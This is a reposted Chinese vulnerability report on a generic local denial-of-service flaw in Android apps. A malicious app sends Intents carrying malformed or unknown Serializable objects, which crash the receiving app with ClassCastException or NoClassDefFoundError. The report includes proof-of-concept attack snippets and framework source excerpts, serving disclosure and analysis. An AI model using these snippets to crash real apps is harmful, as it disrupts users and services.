Android APP通用型拒絕服務、漏洞分析報告

來源:互聯網
上載者:User

標籤:android   equals   分析報告   開發人員   通用   

點評:記得曾經有段時間很多SRC平台被刷了大量APP本地拒絕服務漏洞,Mobile Security團隊愛內測(ineice.com)發現了一個安卓用戶端的通用型拒絕服務漏洞,來看看他們的詳細分析吧。 


0xr0ot和Xbalien交流所有可能導致應用拒絕服務的異常類型時,發現了一處通用的本地拒絕服務漏洞。該通用型本地拒絕服務可以造成大面積的app拒絕服務。 


針對序列化對象而出現的拒絕服務主要是由於應用中使用了getSerializableExtra() 的API,由於應用開發人員沒有對傳入的資料做異常判斷,惡意應用可以通過傳入畸形資料,導致應用本地拒絕服務。 


漏洞應用程式碼片段:

1 Intent i = getIntent(); 

2 if(i.getAction().equals("serializable_action")){ 

3 i.getSerializableExtra("serializable_key"); //未做異常判斷 

4 }

攻擊應用程式碼片段:

1 Intent i = new Intent(); 

2 i.setAction("serializable_action"); 

3 i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity"); 

4 i.putExtra("seriadddddlizable_dkey",XXX); //此處是傳入畸形資料 

5 startActivity(i);


比如XXX處傳入BigInteger.valueOf(1)極有可能發生轉型異常錯誤java.lang.ClassCastException。 

但後來交流中發現,當傳入一個自訂的序列化對象Serializable或getParcelable對象時,接收Intent的目標組件在getSerializableExtra()、getParcelable()等會拋出類未定義的異常java.lang.NoClassDefFoundError。這是因為當你給漏洞應用傳入一個應用本身並沒有的序列化類別對象,在應用上下文中肯定是找不到這個類的。 


自訂的序列化類別很簡單:

1 public class DataSchema implements Serializable { 

2 private static final long serialVersionUID = -3601187837704976264L; 

3 public DataSchema() { 

4 super(); 

5 } 

6 }


對應的攻擊代碼中XXX處傳入new DataSchema(),我們發現傳入的key不管是否與漏洞應用相同,都會拋出類未定義的異常。 


隨著測試的深入,我們通過logcat發現,在錯誤記錄檔裡不一定是getSerializableExtra()、getParcelable()導致的。然後我們就延伸了下,試著向getXXXExtra()傳入我們自訂的序列化類別對象,發現都會拋出類未定義的異常。 


測試app程式碼片段:

1 protected void onCreate(Bundle savedInstanceState) { 

2 Intent intent = getIntent(); 

3 intent.getStringExtra("ROIS"); //此處依然會由於NoClassDefFoundError crash 

4 }

接著我們測試了市面上大量主流應用,涵蓋BAT等。發現這種方法可以通殺。我們開始覺得這個是android本身的問題,開始翻原始碼。

01 public String getStringExtra(String name) { 

02 return mExtras == null ? null : mExtras.getString(name); 

03 } 

04 /frameworks/base/core/java/android/os/Bundle.java 

05 public String getString(String key) { 

06 unparcel(); //處理資料 

07 ... 

08 } 

09 /* package */ synchronized void unparcel() { 

10 ... 

11 mParcelledData.readMapInternal(mMap, N, mClassLoader); 

12 ... 

13 } 

14 

15 /frameworks/base/core/java/android/os/Parcel.java 

16 readMapInternal解析傳遞進來的資料


Android APP通用型拒絕服務、漏洞分析報告

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.